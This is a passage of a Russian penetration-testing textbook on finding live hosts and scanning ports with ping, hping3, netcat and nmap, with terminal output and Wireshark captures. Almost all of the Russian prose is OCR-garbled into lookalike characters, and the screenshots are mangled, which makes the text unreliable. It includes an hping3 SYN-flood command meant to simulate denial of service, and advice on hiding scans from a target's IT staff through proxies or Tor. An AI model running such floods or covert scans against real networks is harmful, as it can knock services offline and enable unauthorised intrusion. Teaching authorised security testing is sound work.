K HOJIy4eHUI0 HH(GOPMALIUK OT PadOTAIONIMX CETEBBIX CEPBUCOB B €€ CETH.

Ha npeppiayiem mmare Hamw geiicTBUS OBIIO TPAKTHYECKU HEBO3MOKHO OOHA-
PY/KUTH HU OJIHUM W3 MCIOJIb3YEMBIX B IEJISAX MTPEAOTBPAIIEHUST aTaK W3BECTHBIX
WHCTPYMEHTOB, HO Terephb 00IIeHNe ¢ CePBUCAMU HATIPSMYIO OCTATOUHO JIETKO
OOHAPYKUTb.

YuuTeiBast ckazaHHOE BBITIE, YIEJUTE TIOBBIIIIEHHOE BHUMaHNe CBOEH aHOHUMHOCTH,
ecJv Barei 3ajiaueii sipisiercst mposejienne ayanta MC takum 06pasom, 9To6sr 06
aTOM He y3HaJl 1epconas ogena U'T. ITo MOXKHO cies1aTh ¢ MOMOIIBIO PA3JIMUHbBIX
mpokcu-cepsepoB uiu takoro 110, kax Tor.

Orlpen,eneH ne aKTUBHbIX XOCTOB

Omnpejenienne akTUBHBIX XOCTOB [IOMOTaeT COKPAaTHTh BpeMsl, KOTopoe TpebyeTcst
IS IPOBENEHMs ayAUTa. XOPOILIO, €CJIU B CETU OT IIATH A0 AECATH afPECOB, a C/IN
UX OT ABYX [0 Tpex Thicsta? Onpesens akTUBHbIE XOCTEI ¥ CKOHIIEHTPUPOBABIIICH
TOJIBKO Ha HUX, MBI MOKEM COKOHOMUTD OOJIBINOE KOJMYECTBO BPEMEHN M YMEHBIITUTH
00beM paboThI.

MNpoTtokon ICMP

ITporokos ICMP (Internet Control Message Protocol), wiu riporokoJ yipasJisiio-
IIMX COOOIIEHUI NHTEpHETa, ABJIsieTcs BeromoraTeabHbiM. ICMP MOKHO cpaBHUTH
C CHCTEMOM JIMAaTHOCTUKY aBTOMOOWJIS: OHA He BJIMSET Ha TO, KAaK MalIMHA €/IeT, HO
cooO0IIaeT BOAUTEIO, €CJIM YTO-TO UAET He Tak. Touno Tak ke ICMP miomoraer moJry-
YUTh IIEHHBIE JIAHHBIE TP OUCKE TPOOJIEM B CETH.
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ICMP wucniosbayercst st OTIPABKK cO00IIeHH T 06 ommrbKax U onepamoHHOl
nH(GOPMAITUN B CydasiX, KOT/A 1eJIeBOH KOMIThIOTEP UM MapHIPyT HEJOCTYIIEH
WJIN KOT/Ia JTAHHBIE MTPEBBIINAIOT MAKCUMAJIBHBIN pasMep MakeTa, KOTOPBI MOXKHO
nepeaTh.

W3BecTHBINT MTHCTPYMEHT Ping, KOTOPBII NCITOIB3YETCs /IJIT TPOBEPKHU TOCTYITHOCTH
KoMIIbIoTepa B cetH, paboraer Ha ocnoBe ICMP: o ornpasisier ICMP-coobiienue
9X0-3aIpoca Ha 1ejIeBoil Komibiorep 1 oxkunaer ICMP-coobuieHns sxo-oTBera.

Ping
Ytunnra ping — aTo ceTeBOil UHCTPYMEHT /17151 TPOBEPKU JIOCTYITHOCTH yAQJIEHHOTO
xocTa B ceTr: oHa oTrpasiisgeT I[CMP 9X0-3a11pochl 1 0:KUIAET 9X0-0TBETDL. YTUIIUTA

TaKyKe TTIOMOTraeT B USMEPEHNN BPEMEHHN OTKJINKaA (latency) 1 ITIO3BOJIAET OIICHUTDH
YaCTOTY IMOTEPU IMMAKETOB MEKAY OTIIPAaBUTEJIEM U 1IE€JIEBBIM XOCTOM.

[IprMeHNM 3Ty YTUIUTY JIJIs1 OlIpe/ieJIeHNsT aKTHUBHBIX XOCTOB!

itsecbook@kali:~# ping google.com

PING google.com (142.250.74.174) 56(84) bytes of data.

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=1 tt1=128
time=14.4 ms

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=2 tt1=128
time=13.9 ms

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=3 ttl=128
time=14.1 ms

64 bytes from arnllsl2-in-f14.1e100.net (142.250.74.174): icmp_seq=4 tt1=128
time=14.4 ms

~C

--- google.com ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3@06ms

rtt min/avg/max/mdev = 13.938/14.190/14.391/0.193 ms

Ha puc. 4.1 nokaszan mpumMep ceteBOro TpaduKa pu NCIOJb30BAHUN Ping. YTUINTA
nockitaet 3anpoc (request) u mosydaer orset (replay).

Ping — cranzapTHas yTHINTa, KOTOpas BXoAUT B cocTtas 060l OC. OaHako y gaH-
HOTO MeTojla ecTh oauH Hepoctatok: ICMP, Ha ocHoBe KoTOpOTO 1 paboTaer ping,
YaCcTO OKa3bIBaeTCs 3a0JI0KUPOBaH Ha ypoBHe (aitepBosia. B aTOM ciyuae, maxe
€CJTF MBI TOYHO 3HAEM, YTO XOCT, HA KOTOPBII OTIIPABJISIOTCS 3aPOCHI, paboTaer
U K HEMY MOKHO TMOAKTIOUUTHCS U3 060N TOUKM MUPa, He OY/IET OTBEYATH HA HTH
3aTPOCHL.

JlaHHYIO CUTYAIIIO0 MOKHO IPOJIEMOHCTPUPOBATD Ha IpuMepe caiita vk.com:

itsecbook @kali:~# ping vk.com

PING vk.com (91.240.247.27) 56(84) bytes of data.

~C

--- vk.com ping statistics ---

5 packets transmitted, © received, 100% packet loss, time 4084ms
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‘ any - a *
Eile Edit View Go Capture Analyze Siatistics  Telephony Wireless JTools Help
r = — -~ =

ARI@ KFRRE £ ¢V IERDE
[I |!\p|1ly a display filter ... <Ctrl-f= -] +
M. Time | Bource | Destination |Pratocal« | Length | Info =
E 14 2.019785845  142.250.74.174 192.168.91.128 ICHP 108 Echo (ping) reply  id=Bxdeaa, seq=3

12 2.0084943511 192.168.91.128 142.250.74.174 ICHP 180 Echo (ping) request id=8xdeaa, seq=2/

16 1.618575738  142.250.74.174 152.168.91.128 ICHP 1080 Echo (ping) reply id=0xdean, seq=2

9 1.804381282 192.168.91.128 142.250.74.174 ICHP 180 Echo (ping) request id=@xdeaa, seg=2

6 0.0175056823  142.250.74.174 192.168.91.128 ICHP 108 Echo (ping) reply  id=Bxdean, seq=1

BB38TA5TA 168.91. .258.74.174 188 Echo (ping) dd=Bxdean, s

168 2.823425768 192.168.91.2 192.168.91.128 DHS 128 Standard guery response 8x92357 PTR 174

15 2.628208773 192.168.91.128 192.168.91.2 DHS 89 Standard guery 8x9357 PTR 174.74.280.
_‘LI__‘\.?_1_R??FM1.1 28162 18R A1 .3 107 _1RA 01 128 nue. AR _'-'.I_ululur|l_lull-r_w_rll-.!:|||||||:|-_HI|JH.LP.'|'.D_IJ’ T =
» Frame 5: 180 bytes on wire (880 bits), 180 bytes captured (| 0900 06 64 80 61 60 68 60 Gc 29 84 31 86 60 60 08 08
v Linux cooked capture vl | BE1E 45 BE BE 54 a3 LHE 4R BE 40 B1 a1 7 cB ad Sh HE E--

v Internct Protocol Version 4, Sre: 192.188.91.128, Dst: 142/ 0020 Be fa 4a ae 00 GO 6a 64 Je aa 00 01 83 9e 4f 64 .-J
+ Internct Control Message Protocol | 85360 ©O 66 6O GO ad fa G2 60 OO GO A0 BB 18 11 12 13 ...
| BE4n 14 15 16 17 18 18 1a 1h ¢ 1d 1e 1f #R 21 2@ o3 KK}

| 0050 24 25 26 27 26 29 2a 2b 2c 2d 2e 2f 3@ 31 32 33 %

£O60 34 35 38 37 456,

1] I !’.:4! | I
@7 ._AnyQ1NS31peapng Packets: 16 - Displayed: 16 (100.0%) - Dropped: 0 {0.0%)  Profile: Default

Puc. 4.1. 3anucb ceteBoro Tpaduka Bo BpeMsi paboThl ping

XOoTst K TAaHHOMY CEPBEPY MOJKET MOAKIIOUNTHCS 000 TI0IB30BATEND, HCTIOIB3YST
443-11 opT, OH He OTBevYaeT Ha ping.

ITo ymosuanuio 8 Linux ping Gyzaer 1mochLiaTh MakeThl 10 TeX HOop, I0Ka Bbl ee He
ocraHoBuTe, a B Windows — moiier TojbKo 4eTbipe pasa.

Ha camom zene ping o6agiaer 10CTaTOYHO OTPAHUYEHHON (DYHKITMOHATEHOCTHIO.
Hanpumep, oHa MokeT paboTaTh TOJIBKO C OIHIM XOCTOM, & 3HAYUT, YTOOBI TPOCKA-
Huposath 500 X0cTOB, BaM Hy KHO Oy /et 3amyctutsb ee 500 pas. [ToaTtomy paceMoTpum
6oJiee nHTEpPECHYIO yTHAUTY hping3.

Hping3

Hping3 — 310 MOUTHBIN WHCTPYMEHT KOMAH/{HOH CTPOKHU, KOTOPBIN MOXKHO OTTHCATh
KaK yIyYIIEHHYIO BEPCHUIO KJIACCUYECKO YTHIUTBI Ping O 3HAYUTEIBHO OOITBITHM
KOJIM4eCTBOM (DYHKIIUIA.

Bwmecto poctoro otnpasierust [CM P-3ammpocoB i1t TpOBEPKH AOCTYITHOCTH XOCTa
hping3 MoskHO HacTpouTb s oTIIpaBKu JitoObIX THII0B TCP/IP-1akeToB. JT10 fesiaeT
ee I0CTaTOYHO TI0JIE3HBIM MHCTPYMEHTOM KaK 7T criertanuctoB mo VB, tak u auis
06BIYHBIX aMIHUCTPATOPOB. C momotbio hping3 BeI MOXKETe UMUTHPOBATD aTaKH,
POBEPSITH MIPABUJIA MEXKCETEBOTO IKPAHA, TECTUPOBATH KAUECTBO CETEBBIX COEIMHE-
HUH 1 JIa’ke CKAaHUPOBATH MOPTHIL.

Hping3 M0:XHO MCII0JIB30BATH [T BBISIBIEHNS aKTUBHBIX XOCTOB B CETU C ITOMO-
nipio ICMP axo-3anpocos ananornyto yrusute ping. /lommyctum, y Bac ectb ceTh
192.168.1.0/24 n BBl XOTUTE HANTU BCe aKTUBHBIE XOCThI B 3TOH ceTu. [Ipumenure
CTIEIYIONTYI0 KOMAH/TY:

hping3 -1 -c 1 -I eth@ --rand-dest --base-ip 192.168.1.0 --dest-ip 192.168.1.255
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Wcrnosnb3oBaHHbIE TapaMETPhI:
e -1 o3znavaet otipaBky ICMP sxo-3ampocos;
® -c 1yKasblBaer, 4To OYEeT OTIIPABJIEH TOJbKO OANH MAKET Ha KasK bl XOCT;

e -I ethe ykasbiBaeT untepdeiic, KOTOpbIi OyIeT UCIOb30BATHCS /IS OTIIPABKA
ITaKETOB,;

® --rand-dest 03Haydaer, YTO MAKETHI 6y,Z[YT OTIIPABJIATBHCA B CJIy‘-IafIHOM TTOPAAKE;

® --base-ip 192.168.1.0 u --dest-ip 192.168.1.255 oupeesdioT JUaa3oH
IP-azipecoB, KOTOpPbIe OYyT CKAHUPOBATHCSL.

Ita xomanza orpasut ICMP axo-3anpoc wa xaxmsiii [P-anpec B cetn 1 BeiBeneT
OTBETHI, IO3BOJISIST BAM OIIPEIeJIUTh, KAKKUE XOCTHI aKTUBHBI. BBI Takke MokeTe nc-
MOJIb30BATh JIAHHYIO YTHJIUTY I uMUTariuu DoS-araxu, oTipasisis GOJIbIIOE KO-
JINYECTBO TAKETOB Ha TleJieBoit XocT. Hampumep, cieayionas KOManaa OTIpasJisier
6eckoneunyio cepuio TCP SYN-makeros na mopt 80 xocra ¢ IP-agpecom 192.168.1.1:

hping3 --flood -S 192.168.1.1 -p 80

B aTom mpumepe mapamerp --flood obecrieunBaeT GbICTPYIO OTIPABKY MAKETOB, -S
o3navaet ucronb3oBanne TCP/SYN-makertos, a -p 80 ykazeiBaeT Ha opT 80.

CkaHupoBaHWe NopToB

CKaHI/IpOBaHI/Ie IIOpTOB — Ba’KHBIN TI1aT B Ipoiecce TeCTUpoBaHMA Ha ITIPOHUKHOBE-
Hume, KOTOprfI IIOMOraeT crienuaJiucTaM I1OHATb, KaKK1e C]Iy>K6bI pa60Ta10T Ha L[e]IeBOfI
CHUCTEME U, CJIeJOBATEJ/IbHO, OIIPEAECJUTDH IIOTEHIINAJIbHbIE BEKTOPDI JIJIA JIB.JIbHGﬁH.[HX
aTakK.

CereBble TIOPTBI MOJKHO TIPEJICTaBUTH KaK ABEPU UJIN OKHA B JIOME — 3TO CIIeITnaab-
HbI€ «BXO/JbI» N «BbIXO/bI», UEPE3 KOTOPHLIE /TaHHbIE MOT'YT BXO/IUTb B KOMIIbIOTED
1 BBIXOJIUTH U3 HETO ITpr O6I_HGHI/II/I B CeTn. CKaHI/IpOBaHI/Ie ITOPTOB B 9TOM CJiy4yae —
9TO OCMOTP 3/1aHMA B MTOMCKaX OTKPBITHIX WJIN HE3alTUIIEHHbIX [[Bepefl 1 OKOH, KO-
TOPbIE BIIOCJIEACTBUN 6y,/1yT MCITIOJIb30OBAaHDI /IJII TPOHUKHOBEHUA.

Kasxaprii mopt uMeet yHuKanbHbIi HoMep oT 0 710 65 535. TepMuH «X0pOIIO U3BECT-
HbIe TIOPThI» MCTIOJIb3YeTCs 71T Onrcanust moptoB ¢ Homepamu ot 0 1o 1023. Ot
HOPTHI 3aPE3ePBUPOBAHBI /I UCIIOJIB30BAHUSA ONPE/eJeHHBIMU OOIETPUHATBIMK
MPOTOKOJIAMU U yCJIyraMu B cetTu. Beb-Tpaduk, Hanpumep, 00bIYHO TPOXO/UT Yepes3
nopt 80 (HTTP) nnu 443 (HTTPS).

YaruTe, 9TO CAUIMIKOM aKTHUBHOE CKAaHMPOBaHKME TeHEPUPYET JOCTATOYHO MHOTO
TpaduKa, a B HEKOTOPHIX CIyYasx JaKe MOKET BbI3BAaTh OTKA3 B 0OCIYKUBAHUI, TEM
cambIM HaBpeauB 1esteBoii C. Takske moMHUTE, YTO ITPU aKTUBHOM CKAaHUPOBAHUN
HOPTOB BbI PUCKYeTe ObITh 3a0JI0KUPOBAHHBIMU CUCTEMOI 00HAPY/KEHMS BTOPKEHUI
1 € 9TOTO MOMEHTA JIJIbHEliIITee TIPOBe/IeHIe ayanTa Oyaer 3aTpyaHeHo. Beerma mira-
HUPYWTE CBOM IIIard; He CTOWT 3aITyCKaTh ITOJHOE CKaHUPOBaHue 110 BceM 65 535 mop-
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TaM, eCJIU BaM HeOOXOAMMO HAWTH MOYTOBBIE CEPBEPLI OPraHU3aIUK, — JJIS 9TOTO
Ha/I0 TIPOCKaHUPOBATh JIHIIb opThl 25, 110, 993, 995, 465 u 587.

Wmeiite B BUJLY, 4TO B HEKOTOPBIX CTPAHAX AaKTUBHOE CKAHUPOBAHUE MTOPTOB SIBJISIETCS
nmpaBoHapylieHueM. Beeria nosyuaiite He0OXOMMOE PaspelieHne OT BJIAIEbIEB
nenesoi NC.

CkaHuposaHue TCP

Cranuposatne noproB TCP ocHOBaHO Ha «TPeXCTOPOHHEM pyKorokatun» (three-
way handshake). 9to mpoitece, ycranaBauBaoIuii COeINHEHTE MEXAY ABYMSI
ycrpoiictBamu B cetud. OH BaKeH /I COTIACOBAHUS HAYATBHBIX 3HAYEHUH CUCTIYMKOB
MaKeTOB, KOTOPbIe HA3BIBAIOTCS HOMEPAMH TI0C/Ie/I0BATEIBHOCTH, U JITIST TIO/ITBEPK-
JIEHUsT TOTO, 4TO 002 yCTPOHCTBA FOTOBBI K OOMEHY JaHHBIMU ¥ MOTYT YCJIBIIIATH

APYT ApyTa.
Paboraer ato cieaytommm o6pasom (puc. 4.2):

e SYN. Ununuupyromuii xocT (kaneHT) otnpasisier cermeHT TCP ¢ ycranos-
seHabM Gurarom SYN, yKa3bIBaONUM Ha XKeJaHWe YCTAaHOBUTDH COeNHE-
uue. B 9ToM cermenTe Takke COAEPIKUTCS HAYAIbHBIN HOMED TIOCIeI0BATENb-
Hoctu ISN (Initial Sequence Number), koTopbiii BeiGupaercs caydaiitHbim
06pasom.

e SYN-ACK. Ilomyuarotiee ycTpoiicTBO (cepBep) B OTBET OTIIPABJISIET CETMEHT
TCP c ycranosnennbimu dsraramu SYN u ACK. Homep noarsepskaenus (ACK
number) ycranapausaercs kak ISN KmenTa, yBeJIn4eH bl Ha O1H OaiiT, a HO-
BbIii [ISN renepupyercs /1151 cepBepa.

e ACK. Mnnmmupytonmii XocT otnipasJisgert ete ogut cermeHT TCP ¢ ycranossien-
HbiM ararom ACK. Homep moaTBep:KeHNsT B 9TOM CETMEHTE yCTaHABINBAETCS
kak ISN cepBepa, yBeJMUEHHbII Ha OAUH GAlT. DTO MOATBEPKAAECT MOJYIECHIE
SYN ot cepsepa.

[Tocsie 3TOr0 06€ CTOPOHBI OTIIPABJIAIOT JAHHBIE APYT APYTY, KasKABII Pas MOATBEPIK-
J1asi OJIydeHne MaKeToB U yBeJIMYUBast HOMEP MOATBEPKACHIS Ha KOJTUYECTBO MOy~
YeHHBIX 6aliTOB.

Puc. 4.2. Mogenb TPeXCTOPOHHEro pykonoxatusi

Jlst mpuMepa mokaxkeM, Kak 970 paboTaeT ¢ HCTIO0Mb30BaHNeM netcat. YUTure, uto
netcat He sBJgeTCS CKAaHEPOM IMTOPTOB, UX MBI paccMOTpuM mo3:xe. Netcat — ato
MOIITHAsI yTUINTA KOMAH/IHON CTPOKH, KOTOPAsI CIYKUT JIJIs1 UTEHUS U 3aIMCH JIaH-
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HBIX Yepe3 ceTeBble CoeIMHEHN ¢ ncnob3oBanueM mpoTokonaoB TCP uan UDP.
Omna MoeT ObITh TPUMEHEHA JIJIST OTIAJKU CETEBBIX COCANHEHUH, CKAHUPOBAHUS
MOPTOB, TIepeHATIPABJIEHNS TOPTOB U JJajke CO3/IAHUS IIPOCTHIX CETEBBIX CEPBEPOB
U KJIMEHTOB.

Wrak, 3amyctuM netcat st ckanupoBanust auamnazora moptos TCP or 5980-ro mo
5990-ro. ITapaienbHo aTOMY TIpOIIECCY ISl aHAJIN3a CETeBOroO TpahuKa MbI 3aIry-
crum Wireshark:

itsecbook@kali:$ nc -nvv -w 1 -z 127.0.0.1 5980-5990
(UNKNOWN) [127.0.0.1] 5990 (?) : Connection refused

(UNKNOWN) [127.0.0.1] 5989 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5988 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5987 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5986 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5985 (?) open

(UNKNOWN) [127.0.0.1] 5984 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5983 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5982 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5981 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5980 (?) : Connection refused

sent @, rcvd @

OrduiabsrpoBaB HEOOXOAMMbIE TTAKETHI, Mbl BHINUM, UTO netcat IbITaeTCSA yCTaHO-
BUTH COCAMHEHUS € YKa3aHHBIMU TIOPTAMHU, UCIIOJIb3YS TTPOIEYPY TPEXCTOPOHHETO
pykonoxkarus (puc. 4.3). Ecau coeqnaeHrie HeBO3MOKHO, KJIMEHT MTOJTy4YaeT TakeT
RST-ACK u cuntaer aToT nopt 3akpbIThiM. [lociie ycnenHoro coefuHeHns /1711 €ro
npekparnienus kiauenT ornpanisier naket FIN-ACK.

M sorbackio o x
Eile Edit Mew Go Capure snahze Staistics Telephory Wireless Tooks Help

ANZSFRARB Lc> v« > EERQDE

(A icp pon=—sges || wp.port-—hous [<[=] -]+
o Time Source (Dessination FProiocol  Lengih Info
13 8.888796629 127.8.8.1 127.8.8.1 TCP 66 38586 — 58B5 [ACK] Seq=1 Ack=1 Win=65536 Len=8 TSval=716687474 T_
15 0.001052172  127.0.0.1 127.9.8.1 TCP 66 5905 — 30506 [ACK] Seq=1 Ack=2 Win=85538 Len=0 TSval=T18667474 T.
21 8.861453874  127.8.8.1 127.9.9.1 TR GE JV506 - 5985 [ACK] Seq=2 Ack=2 Win=65536 Len=8 TSval=rieesvars T.

+ Frame 11: 74 bytes on wire (582 bits), 74 bytes captured IES? bits) on 0000 @8 88 89 80 BA 68 88 89 00 A0 88 88 88 88 45 88

+ Ethernet II, Sre: { Ye BO10 8O 3e be o2 48 B8 48 08 7 77 7T 88 &9 81 77 oo
» Internet Prolwol \l':ls,iun d src 12? 8.0.1, Dsl 12? E a. _1. 0020 68 81 96 6a 17 61 30 28 cl 57 08 88 80 68 ap 02
i ] ¢ Port: 38Sa6, D aus, Seq ez ff d7 [FEER 66 60 62 84 ff d7 84 62 o8 a 2a b7
8840 ef 02 &0 B8 BB 6O 81 83 83 87

Al I I I
O ¥ wireshark_IlFMT31.pcapng Packets: 27 - Displayed: 9 (33.3%) - Dropped: 0 (0.0%)  Profile: Detault

Puc. 4.3. 3anvcb ceTeBoro Tpaduka BO BpeMs ckaHMpoBaHus TCP-nopTos
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CkaHuposaHue UDP

ITporokossr TCP 1 UDP mpeacraisgior coboii 1Ba OCHOBHBIX cMOCO6a Tiepeaadn
TAHHBIX 10 ceTH B nHTepHeTe. OHU CIIYIKAT /IS YCTAHOBJIEHUS COSTUHEHNST MEKIY
JBYMsT KOMITBIOTEPAMH U TIOCTIEyIoNIei epefaur faHHbiX. OHAKO OHU paboTatoT
M0-PA3HOMY, 9TO JIeJIAeT UX TTOAXO/ISAIIUMU JIJIST PA3HBIX TUIIOB TIPUJIOKEHUIT 1 33/1a4.

TCP — npoToKOJ yripaBJaeHus rnepeaadeil JaHHbIX ¢ TPeIBAPUTENbHON YCTAHOBKOMN
COeNIMHEHST U 0OeCTIeTeHNEM TIETOCTHOCTH TAHHBIX.

UDP (User Datagram Protocol) — 310 1nporoxoJi, KOTOpbIi He TpebyeT mpe/Ba-
PUTEJIBHOTO YCTAHOBJIEHUS COEJIMHEHUS U He TapaHTUPYET J0CTaBKu Janubix. OH
IIPOCTO OTIPABJISAET JaHHbIe O€3 IPOBEPKU TOr0, JOCTUTAIOT JIK OHU MECTa CBOETO Ha-
sHavenus i HeT. UDP vacTto mcnosib3yeTcst B TOTOKOBOM Tiepeziade Mena (BUIe0,
ay/lfo), UTpax peajbHOTO BPEMEeHH U JIPYTUX TPUJIOKEHUSX, TJIe CKOPOCTh BajKHEee,
YeM rapaHTHs JOCTaBKU KaXKO0T0 TTaKeTa JTaHHbBIX.

O6c¢yaus ocuosnble pasinyusa Mexay TCP u UDP, nepeiizieM K CKaHUPOBAHMIO.

Ckanmposanue UDP cioxuee n memientnee, yem ckanupoBanne TCP. 13-3a oT-
CYTCTBUS YCTAHOBJIEHUS COeJIMHEHNS cKaHep oTnpasisgeT myctoir UDP-maker Ha
HeseBoil mopt. Eciu mopt 3akpeIT, cucteMa 0ObMHO oTipasiger obparano ICMP-
naket «ITopT Heoctynens. Eciu ckanep He 1mojiydyaeT HUKaKOTO OTBETA, OH MOXKET
MPE/TIOIOKUTD, YTO MTOPT OTKPBIT. OZIHAKO OTCYTCTBUE OTBETA MOXKET TAKKE YKA3bI-
BaTh Ha TO, YTO MAKET OBLT IIOTEPSTH MU 3a0JIOKUPOBAH MEKCETEBBIM 9KPAHOM. JTO
nenaer UDP-ckaHMpOBaHUE MeHee HaJlesKHbIM U 3aTPaurBaroInM GOJIbIIIe BDEMEHH.

B 1iestom 06a THma CKaHUPOBAHUS MOJIE3HBI JIJIsT OTIPEIE/IEHUsT COCTOSTHUS TTOPTOB
HA YIaJIEHHOI MallliHe, HO OHU PabOTAIOT MO-Pa3HOMY U MOTYT JaTh Pa3uvHbIe
DE3YJIBTATHI B 3aBUCHMOCTH OT OOCTOSITETHCTB.

Kak u B npeapiayieM npuMepe, IPoAeMOHCTPUPYeM cKaHupoBanue 1mopros UDP
npu omorny netcat u wireshark:

itsecbook@kali:$ nc -nv -u -z -w 1 127.0.0.1 198-202
(UNKNOWN) [127.0.0.1] 200 (?) open

Kax Bbl MoOrJii 3aMeTuTh, ceteBoil Tpacduk mpu uctosbzoBanu TCP u UDP cuibao
otsiyaetcs. B ciaydae, Korjia mopT OTKPBIT, JIaHHBIE TIEPENAIOTCS OTPENCTEHHOMY
ITO, xoTopoe MpUHNMAET pelIeHne O TOM, YTO eJIaTh Aajblie. Ecan jke coeTHeHTE
HEBO3MOJKHO, OTTIPABUTEb MTOJIYYAET COOTBETCTBYIOIINIA TTAKET, KaK BUHO HA TIPU-
BeJICHHOM CHUMKe aKpaHa (puc. 4.4).

Nmap

Nmap (Network Mapper) — mMomiHas 1 ruOKast yTUIUTa JJIsI CKAHKMPOBAHMS CETell,
UCTIONIb3yeMas JiJisi OOHAPYKEHUs XOCTOB U CJIy:KO Ha ceTeBbIX ycTpoiicTBax. Ee
UCTIOMB3YIOT JIJIST CO3/IAHMS KapThl CeTel, BKI0Yas ToTydenne nubopmaun 06
YCTPOUCTBAX, OTKPBITHIX MOPTAX, 3aMyIieHHbIX ciryskbax u OC.



CkaHMpoBaHMe rnopToB 117

M "Loopaco - o %
Eile Edit View Go Capture Analyze Siatistics  Telephony Wireless JTools Help

ARI@FRABRB P>V« > EERQADE

[I|u:|,|1.mrl——|99||udp.mn——?un <[ =] ‘] +
MO, Time =Eource Destination Pratncal | Length Info

5 2.001881281 127.6.8.
L 6 3.002501917 127.6.6.
7 2.802834888 127.8

08 68 00 88 00 68 60 60 60 00 A8 60 45 60
d7 1c [EECCECENEE f 88 .8

Frame 5: 43 byles on wire (344 bits), 42 byles caplured {3%‘ aEE0 88 88
Ethernet II, Src: 88:80:00 60:00:00 (BB:00:00:00:00:68), D:| BE1H © 1d 65 bl 48 BB 4B 11
Internet Protocol Version 4, Sro: 127.8.8.1, Dst: 127.9.8.1| 0920 0@ @1 a9 73 00 cB ee @3 fe 1c @@

User Datagram Protocol, Src Port: 43379, Dst Port: 288
Data (1 byte)

0

TF(IA] I I
Packets: 10 - Di 4 (40.0%) - Dropped: 0 (0.0%)  Profile: Default

@7 . lo3G0631-peapng

Puc. 4.4. 3anucb ceTeBoro Tpaduka BO BpeMs CKaHMpoBaHus noptoB UDP

JlasHas yTUIUTa TOAAEPKUBAET OOMBIIOE KOJUIECTBO PA3JUYHBIX THIIOB CKa-
Huposanwus, Bkiaodas TCP-; UDP- u ICMP-ckanmpoBanme, a Takke MHOKECTBO
JOIOJHUTEIbHBIX oMU 1 ¢yHKIwit. OHa MoKeT ObITh 3aIyieHa B KOHCOJIM WJIN

B rpacduyeckoii cpezie (Zenmap).
IMorpoGyeM 3aycTUTh NMap € METbIO MOJYYUTh CITUCOK OTKPBITHIX TIOPTOB HA OTHOM
U3 CEpPBEPOB.

itsecbook@kali:~# nmap 192.168.10.3

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:07 EDT
Nmap scan report for lab (192.168.10.3)

Host is up (0.00074s latency).

Not shown: 997 closed tcp ports (conn-refused)

PORT STATE SERVICE

3000/tcp open ppp

5432/tcp open postgresql

9000/tcp open cslistener

Nmap done: 1 IP address (1 host up) scanned in ©.08 seconds

Wrak, MBI BUIUM, 9TO GBITIO HAIIEHO TP OTKPHITHIX TIOPTA, HO €CTh OfiHA 0COOEH-
HOCTb: KOT'/Ia MBI 3allyCKaeM JIAHHYIO YTUJIUTY, OHa CKAHUPYeT XOCT He Ha BCE OTKPBI-
ThIE OPTHI, & TOJILKO Ha CaMble MOTyJsapHbIe. [[J1s1 TOro 4To6bl nmap MpoCKaHupPOBAT
HY’KHBII XOCT U OTOOPA3UII BCE OTKPBITHIE MOPTHI, HEOOXOMMO YKA3aTh UANa30H,
B KOTOPOM YTHJIUTE CJIEYeT padOTaTh; JJIsl 9TOTO BOCIIOJIb3yEMCsI TTAPaMETPOM -p:

itsecbook@kali:~# nmap 192.168.10.3 -p 1-65535

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:08 EDT
Nmap scan report for lab (192.168.10.3)

Host is up (0.00013s latency).

Not shown: 65531 closed tcp ports (conn-refused)
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PORT STATE SERVICE
3000/tcp open ppp
5432/tcp open postgresql
5985/tcp open wsman
9000/tcp open cslistener

Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds

[Ipoananu3npoBas pe3ysbraT, MOSKHO IPUHTH K BBIBO/LY, UTO, 3AITyCTUB YIIOMSIHYTYIO
MIPOTPAMMY C JTOTIOJIHUTEJbHBIM ITapaMeTPOM M yKa3aB TTOJHBIN ANANa30H MOPTOB,
MBI TIOJTYIHUIIN JIOTIOJTHUTEIbHBIN Pe3yJIbTaT W TMOJHYI0 KapTUHY HAJTWYHUS CEeTeBBbIX
CEPBHUCOB, K KOTOPBIM MOKEM ITOJKJIIOYNUTHCS.

Ho cormacurecs, eciiu nepe/i HaMu I0CTATOUHO GOTBITIAST CETh, TO CKAHMPOBATH KAYKIYTO
OT/ETHHYIO MATUHY Oy/IeT HeyI0OHO 1 09eHb H0JT0. YTOOBI OMTUMU3NPOBATH TTPO-
IeCC, MBI MOKEM HCIIOIb30BaTh CUMBOJT * BMECTO ITOCJIETHETO OKTETA B CETEBOM a/ipece:

itsecbook@kali:~# nmap 192.168.91.* -p 1-65535

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:22 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00073s latency).

Not shown: 65534 closed tcp ports (conn-refused)

PORT STATE SERVICE

53/tcp open domain

Nmap scan report for 192.168.91.128

Host is up (©.000096s latency).

All 65535 scanned ports on 192.168.91.128 are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Nmap scan report for 192.168.91.130

Host is up (0©.00086s latency).

Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

389/tcp open 1ldap

Nmap scan report for 192.168.91.131

Host is up (0.00083s latency).

Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

Nmap done: 256 IP addresses (4 hosts up) scanned in 11.64 seconds
B nmap Arala3olH CKaHUPYEMbIX a/[pECOB MOJKHO YKa3aTb €lle AByMsI CHOCO6aMI/II

e ucnosb3yst Macky nojcetn — 192.168.91.0/24;
® yKkaszaB ToOuHbIN auanazon — 192.168.91.100-200.
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CkpbITHOEe ckaHupoBaHue, Ui SYN-CKaHupoBaHue

